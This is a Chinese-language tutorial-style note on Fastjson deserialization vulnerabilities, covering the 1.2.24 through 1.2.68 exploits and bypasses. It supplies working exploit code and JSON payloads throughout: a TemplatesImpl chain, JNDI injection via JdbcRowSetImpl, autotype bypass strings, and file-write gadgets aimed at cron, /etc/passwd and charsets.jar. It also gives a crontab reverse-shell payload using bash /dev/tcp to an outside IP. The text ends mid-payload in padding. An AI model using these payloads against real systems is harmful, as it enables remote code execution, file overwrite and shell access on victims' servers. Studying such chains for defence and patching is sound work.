前言
参考:
https://natro92.fun/posts/ac90d224/
https://boogipop.com/2023/03/02/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://zer0peach.github.io/2023/09/24/FastJSON/
https://xz.aliyun.com/news/12201
简介
Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换。
提供两个主要接口来分别实现序列化和反序列化操作。
JSON.toJSONString 将 Java 对象转换为 json 对象,序列化的过程。
JSON.parseObject/JSON.parse 将 json 对象重新变回 Java 对象;反序列化的过程
所以可以简单的把 json 理解成是一个字符串
demo
依赖
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
序列化代码实现
定义一个 Student 类
package com.example;
public class Student {
private String name;
private int age;
public Student() {
System.out.println("构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}
然后写序列化的代码,调用 JSON.toJsonString() 来序列化 Student 类对象 :
package com.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class StudentSerialize {
public static void main(String[] args) {
Student student = new Student();
student.setName("0w0");
student.setAge(16);
String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonString);
}
}

调试一下JSON.toJsonString()序列化的逻辑

进到 JSON#toJSONString,new 了一个 SerializeWriter 对象,至此序列化完成
注意到底下的 static 变量,是 members of JSON

其中的 DEFAULT_TYPE_KEY 为 "@type"
继续往下看,new SerializeWriter 后的对象赋给 out

这个 out 变量作为 JSONSerializer 类构造的参数
再往下就是 toString 返回序列化字符串了
那么核心就在 toJSONString 这里
String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
观察第二个参数,SerializerFeature.WriteClassName,是 JSON.toJSONString() 中的一个设置属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type 可以指定反序列化的类,并且调用其 getter/setter/is 方法
Fastjson 接受的 JSON 可以通过 @type 字段来指定该 JSON 应当还原成何种类型的对象,在反序列化的时候方便操作

(如果没有设置的话就没有 @type)
反序列化代码实现
通过调用JSON.parseObject()实现反序列化
package com.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class StudentUnserialize {
public static void main(String[] args) {
String jsonString = "{\"@type\":\"com.example.Student\",\"age\":16,\"name\":\"0w0\"}";
Student student = JSON.parseObject(jsonString, Student.class, Feature.SupportNonPublicField);
System.out.println(student);
System.out.println(student.getClass().getName());
System.out.println(student.getName());
System.out.println(student.getAge());
}
}
漏洞原理
从前面的demo中我们可以看出,fastjson 在反序列化的时候会去找我们在 @type 中规定的类是哪个类,然后在反序列化的时候会自动调用这些 setter 与 getter 方法,但是调用的 setter 与 getter 方法是有条件的
满足条件的setter:
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
满足条件的getter:
- 非静态方法
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
那么,不同于之前Java原生的序列化和反序列化机制,Fastjson自己实现了一套序列化和反序列化机制
通过 Fastjson 反序列化漏洞,攻击者可以传入一个恶意构造的 JSON 内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行
由前面 demo 知道,Fastjson 使用 parseObject() / parse() 进行反序列化的时候可以指定类型。如果指定的类型太大,包含太多子类,就有利用空间了。例如,如果指定类型为Object或JSONObject,则可以反序列化出来任意类。例如代码写 Object o = JSON.parseObject(poc,Object.class) 就可以反序列化出 Object 类或其任意子类,而 Object 又是任意类的父类,所以就可以反序列化出所有类。
而反序列化时会将反序列化得到的类的构造函数、getter方法、setter方法执行一遍,如果这三种方法中存在危险操作,则可能导致反序列化漏洞的存在,即要攻击的类中的这三种方法需要存在漏洞才能触发
在 DefaultJSONParser.parseObject(Map object, Object fieldName) 中,JSON中以@type形式传入的类的时候,调用 deserializer.deserialze() 处理该类,并去调用这个类的 setter 和 getter 方法:
public final Object parseObject(final Map object, Object fieldName) {
...
// JSON.DEFAULT_TYPE_KEY即@type
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
...
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
漏洞demo
对 student 类稍作修改,添加一个 getter 方法,里面有漏洞代码
package com.example;
import java.util.Properties;
public class Student {
private String name;
private int age;
private String address;
private Properties properties;
public Student() {
System.out.println("构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
// public void setAge(int age) {
// System.out.println("setAge");
// this.age = age;
// }
public String getAddress() {
System.out.println("getAddress");
return address;
}
public Properties getProperties() throws Exception{
System.out.println("getProperties");
Runtime.getRuntime().exec("calc");
return properties;
}
}
poc:
package com.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
public class FastjsonEasyPoC {
public static void main(String[] args){
String jsonString ="{\"@type\":\"com.example.Student\",\"age\":16,\"name\":\"0w0\",\"address\":\"china\",\"properties\":{}}";
Object obj = JSON.parseObject(jsonString, Object.class);
// Student obj = JSON.parseObject(jsonString, Student.class, Feature.SupportNonPublicField);
System.out.println(obj);
System.out.println(obj.getClass().getName());
}
}

很明显,前面的 Demo 中反序列化的类是一个 Object 类,该类是任意类的父类,其子类 Student 存在 Fastjson 反序列化漏洞,当 @type 指向 Student 类是反序列化就会触发漏洞。
对于另一种反序列化指定类的情景,是该指定类本身就存在漏洞,比如我们将上述Demo中反序列化那行代码改成直接反序列化得到 Student 类而非 Object 类,这样就是另一个触发也是最直接的触发场景
Student obj = JSON.parseObject(jsonstring, Student.class, Feature.SupportNonPublicField);
调试
简单调试下可以看到是在 DefaultJSONParser.parseObject(Map object, Object fieldName) 里的 TypeUtils.loadClass 进行了类加载

然后进入底下的 deserializer.deserialze
继续跟进 JavaBeanDeserializer.deserialze 的 parseField,这里解析了 getter



此处进入 FieldDeserializer.setValue

最终执行方法
FastJson<=1.2.24
1.2.22 <= Fastjson <= 1.2.24
依赖:
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.13</version>
</dependency>
一条是基于 TemplatesImpl 的链子,另一条是基于 JdbcRowSetImpl 的链子
TemplatesImpl链
此前在学字节码的时候就知道调用链如下: Java动态加载字节码
TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
这里 getTransletInstance 就是一个 getter 方法,那么就满足了我们 fastjson 漏洞的利用条件

但是有一个问题,getTransletInstance 方法返回值是 Translet 类型,是一个抽象类,没有继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLong
此时就要向上找链子了,根据之前对字节码的学习可以知道在最前面还有个 getOutputProperties 方法

这里返回值类型是 Properties


Properties 继承自 Map 类型,那么满足了我们的需要
然后我们需要在 payload 里面给 _outputProperties 也赋个值

于是就能构造payload了:
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["base64enc_evilcode"],
'_name':'0w0',
'_tfactory':{ },
"_outputProperties":{ }
}
这里有一个需要注意的点,为什么 _bytecodes 进行 base64 编码后能被解析:
首先我们知道 JSON.parseObject() 会循环获取所有字段
在 com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze 方法会调用 byteValue 方法

跟进

此处会进行一次 base64 解码
注意:在反序列化的时候的参数需要加上 Object.class 与 Feature.SupportNonPublicField,因为 getOutputProperties() 方法是私有的,所以,常规情况下这条链子很少具有利用空间
exp:
package com.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
// TemplatesImpl 链子的 EXP
public class TemplatesImplPoc {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void main(String args[]){
try {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = "D:/Code/Java/Java unserialize/demo/src/main/java/com/example/TempClass.class";
String evilCode = readClass(evilClassPath);
// String evilCode = "yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBAA5UZW1wQ2xhc3MuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABFjb20vY2MxL1RlbXBDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA0ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADAABAA4ADwABAAkAAAAtAAIAAQAAAA0qtwABsgACEgO2AASxAAAAAQAKAAAADgADAAAAFQAEABYADAAXAAEAEAAAAAIAEQ";
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'0w0','_tfactory':{ },\"_outputProperties\":{ },";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//Object obj = JSON.parse(text1, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}

JdbcRowSetImpl链(常用,需要出网)
其实就是 JNDI 注入
基于 JdbcRowSetImpl 的利用链主要有两种利用方式,即 JNDI + RMI 和 JNDI + LDAP,都是属于基于 Bean Property 类型的 JNDI 的利用方式
JNDI+RMI
JDK 版本 8u161 < jdk < 8u191
JdbcRowSetImpl 类 JNDI 的部分在 connect 中

这里既然是 getDateSourceName,那么找 setDataSourceName

一看方法名就知道是设置数据库源,我们通过这个方式实现攻击
然后向上找调用 connect 方法的 setter 或 getter,优先找 setter,限制比较少

找到 setAutoCommit,那么只要给 autoCommit 赋布尔值即可
payload:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/Exploit",
"autoCommit":true
}
exp:
package com.example;
import com.alibaba.fastjson.JSON;
// 基于 JdbcRowSetImpl 的利用链
public class JdbcRowSetImplExp {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
使用 yakit 生成一个测试反连


JNDI+LDAP
原理一致
exp:
package com.example;
import com.alibaba.fastjson.JSON;
public class JdbcRowSetImplLdapExp {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
BCEL不出网动态类加载
FastJson 高版本绕过
1.2.25 的修复
修补方案是将 DefaultJSONParser.parseObject() 函数中的 TypeUtils.loadClass 替换为 checkAutoType() 函数

进行了一次 autoTypeSupport 的判定

如果能通过这个判定的话就像之前一样

绕过
以下操作均需要开启 AutoTypeSupport 才能成功
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//开启autoTypeSupport
1.2.25-1.2.42 (双写绕过)
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/g0tvin","autoCommit":true}
1.2.25-1.2.43
修复了L; 以及双写,还对[做处理,利用这个处理进行绕过
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://vps:port/Exploit", "autoCommit":true}
1.2.25-1.2.45 (mybatis<3.5.0)
data_source有 initial_context时写在initial_context
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://vps:port/TouchFile"}}
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"2333","initial_context":"rmi://ip:port/TouchFile"}}
1.2.25-1.2.47 (最常用)
原理是使用了 mapping.put 进行缓存实现绕过
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://vps/TouchFile",
"autoCommit": true
}
}
1.2.48 的修复
TypeUtils.loadClass 里又加了一个 cache 判断

这个 cache 判断默认为 false,那么从 TypeUtils.loadClass 这里打进去就变得很困难了
而 checkAutoType 也新增了一个 safeModeMask,如果设置了 @type 就会抛出异常,开了 safemode 的直接打不了 fastjson

然后是检测类名长度和白名单 expectClass

以及用 hash 做黑白名单匹配

如果通过黑名单检测,但是不在白名单内,则会进入此处的检测 autoTypeSupport 逻辑

若能满足 autoTypeSupport 或 expectClassFlag 其一也会进入尝试 TypeUtils.loadClass
若没开启 autoTypeSupport 则会进入下面的逻辑

白名单类会直接 TypeUtils.loadClass
然后还会单独检测一次 autoType、jsonType 或 expectClassFlag,有开启则加载类

1.2.62
- 需要开启 AutoType;
- Fastjson <= 1.2.62;
- JNDI 注入利用所受的 JDK 版本限制;
- 目标服务端需要存在 xbean-reflect 包;xbean-reflect 包的版本不限
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.xbean.propertyeditor.JndiConverter;
public class EXP_1262 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\"," +
"\"AsText\":\"ldap://127.0.0.1:1234/ExportObject\"}";
JSON.parse(poc);
}
}
1.2.66
- 开启 AutoType;
- Fastjson <= 1.2.66;
- JNDI注入利用所受的JDK版本限制;
- org.apache.shiro.jndi.JndiObjectFactory 类需要 shiro-core 包;
- br.com.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core 和 Anteros-DBCP 包;
- com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig 类需要 ibatis-sqlmap 和 jta包;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class EXP_1266 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"Realms\":[\"\"]}";
// String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:1389/Exploit\"}";
// String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://localhost:1389/Exploit\"}";
// String poc = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\"," +
// "\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:1389/Exploit\"}}";
JSON.parse(poc);
}
}
1.2.67
- 开启 AutoType;
- Fastjson <= 1.2.67;
- JNDI注入利用所受的JDK版本限制;
- org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup 类需要 ignite-core、ignite-jta 和 jta 依赖;
- org.apache.shiro.jndi.JndiObjectFactory 类需要 shiro-core 和 slf4j-api 依赖;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.xml.internal.ws.api.ha.StickyFeature;
public class EXP_1267 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\"," +
" \"jndiNames\":[\"ldap://localhost:1234/ExportObject\"], \"tm\": {\"$ref\":\"$.tm\"}}";
JSON.parse(poc);
}
}
1.2.68
https://www.cnblogs.com/xyylll/p/15818964.html
https://www.freebuf.com/articles/web/413816.html
https://rivers.chaitin.cn/blog/cq9kaap0lnechd245q8g
https://su18.org/post/fastjson-1.2.68/
AutoCloseable 绕过
前提:
- Fastjson <= 1.2.68;
- 利用类必须是 expectClass 类的子类或实现类,并且不在黑名单中;
步骤:
- 先传入某个类,其加载成功后将作为 expectClass 参数传入
checkAutoType()函数; - 查找 expectClass 类的子类或实现类,如果存在这样一个子类或实现类其构造方法或
setter方法中存在危险操作则可以被攻击利用;
package com.json;
import com.alibaba.fastjson.JSON;
public class AutoCloseableBypass {
public static void main(String[] args) {
String payload = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.json.evilAC\",\"cmd\":\"open -a Calculator\"}";
JSON.parse(payload);
}
}
package com.json;
import java.io.IOException;
public class evilAC implements AutoCloseable{
public evilAC(String cmd){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {}
}
依旧在 checkAutoType 调试看一下

第一次是传入 AutoCloseable 类进行校验,这里 CheckAutoType() 函数的 expectClass 参数是为 null 的
往下

此处从缓存 Mapping 中获取到了 AutoCloseable 类:然后获取到这个 clazz 之后进行了一系列的判断,clazz 是否为 null,以及关于 internalWhite 的判断,internalWhite 就是内部加白的名单,用 hash 进行匹配,具体对应内容见: https://github.com/LeadroyaL/fastjson-blacklist
再然后是第二次 checkAutoType

typeName 参数是 poc 中第二个指定的类,expectClass 参数则是 poc 中第一个指定的类
往下由于 java.lang.AutoCloseable 类并非其中黑名单中的类,因此 expectClassFlag 被设置为 true

再往下则会因为 expectClassFlag 为 true,即使不开启 autoTypeSupport 也能进入相关逻辑

但是这里并不能成功加载目标类,就会进入 autoType 关闭时的检测逻辑,和上面这个逻辑一样

继续往下会来到这个只需要 expectClassFlag 的判断

这样就能进入 TypeUtils.loadClass 加载目标类了,但是由于 autoType 关闭且 jsonType 为 false,因此调用 loadClass() 函数的时候是不开启 cache 即缓存的

然后就返回我们的恶意类了,后面的内容判断是否 jsonType、true 的话直接添加 Mapping 缓存并返回类,否则接着判断返回的类是否是 ClassLoader、DataSource、RowSet 等类的子类,是的话直接抛出异常,这也是过滤大多数 JNDI 注入 Gadget 的机制
再往后如果 expectClass 不为 null,则判断目标类是否是 expectClass 类的子类,是的话就添加到 Mapping 缓存中并直接返回该目标类,否则直接抛出异常导致利用失败。这就是为什么我们的恶意类需要继承 AutoCloseable 接口类,因为这里 expectClass 为 AutoCloseable 类、因此恶意类必须是 AutoCloseable 类的子类才能通过这里的判断
最终的调用栈:
<init>:11, evilAC (com.json)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
deserialze:1012, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:288, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:284, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:808, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:288, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:284, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:395, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1401, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1367, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:183, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parse:149, JSON (com.alibaba.fastjson)
main:8, AutoCloseableBypass (com.json)
commons-io 文件操作
在 Fastjson 1.2.68 版本上,由浅蓝师傅挖提出了使用 expectClass 中的 AutoCloseable 进行文件读写操作的思路:“IntputStream 和 OutputStream 都是实现自 AutoCloseable 接口的,而且也没有被列入黑名单,所以只要找到合适的类,还是可以进行文件读写等高危操作的。”
由于 fastjson 漏洞触发方式是调用 get/set/构造方法触发漏洞,因此对于写文件一类的操作,根据浅蓝师傅的文章,需要以下几个条件:
- 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream。
- 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,参数类型必须是
byte[]、ByteBuffer、String、char[]其中的一个,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream。 - 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法调用传入的 OutputStream 的 close、write 或 flush 方法。
payload:
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "/tmp/pwn.txt",
"tempPath": "/tmp/test.txt"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "YjF1M3I=",
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}
{
"@type":"java.lang.AutoCloseable",
"@type":"sun.rmi.server.MarshalOutputStream",
"out":
{
"@type":"java.util.zip.InflaterOutputStream",
"out":
{
"@type":"java.io.FileOutputStream",
"file":"/var/spool/cron/root",
"append":false
},
"infl":
{
"input":
{
"array":"eJzTUtCCwqL8/BIFhaTE4gwF3WQFdQgjU8FOTUE/JbVMvyS5QN/QQM/YQM9Az8JE3xIIFAzs1AzVFbgASkQQSg==",
"limit":1999
}
},
"bufLen":1048576
},
"protocolVersion":1
}
写入 charsets.jar 加载 jar 包
{"x":{"@type":"java.lang.AutoCloseable","@type":"sun.rmi.server.MarshalOutputStream","out":{"@type":"java.util.zip.InflaterOutputStream","out":{"@type":"java.io.FileOutputStream","file":"/tmp/charsets.jar","append":false},"infl":{"input":"eJydmgVUXMuW97HQdAik"},"bufLen":1048576}}}
- charsets.jar 加载只能加载一次,也就是说如果服务本身就调动过该 jar 包就不奏效
- 数据较大,一次机会,谨慎使用
写入 class 类加载
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.LockableFileWriter",
"file":"/etc/passwd", //一个存在的文件
"encoding":"UTF-8",
"append": true,
"lockDir":"/usr/lib/jvm/java-8-openjdk-amd64/jre/classes" //要创建的目录
},
"charset":"UTF-8",
"bufferSize": 8193,
"writeImmediately": true
}
{
"@type":"java.lang.AutoCloseable",
"@type":"EvilShell" //类名
}
写入 jsp 文件
如果是支持 jsp 渲染的环境,如 tomcat,就可以尝试找到 tomcat 的绝对路径(如报错泄露),然后写入 jsp 文件
写入计划任务反弹 shell
条件:
- 具有高权限
- 机器出网
- centos 和 ubuntu 系统下的计划任务不同,可参考 Redis 写计划任务,此处仅考虑写入到 /etc/crontab 的情况
注意:
- 通过 Fastjson 写入计划任务反弹 shell 时,需在最后跟上
\n换行符和注释符,否则 cron 无法正确解析,导致反弹shell失败。如String code = "* * * * * root bash -c 'bash -i >& /dev/tcp/127.0.0.1/9999 0>&1' \n#"; - IDEA 调试环境与实际 web 环境存在差异,对于
WriterOutputStream的参数,实际的环境中应该为charset,而 IDEA 的调试环境中为charsetName - 在 commons-io 2.x 文件写入中,规定了写入文件的长度,写入内容的长度必须要>8192,但实际写入的内容只有前8192个字符,后面的不会写入
即我们要写入:
* * * * * root bash -c 'bash -i >& /dev/tcp/ip/port 0>&1' \n
#aaaaaaaaaa……
payload:
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""* * * * * root bash -c 'bash -i >& /dev/tcp/10.30.2.210/9999 0>&1'
#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa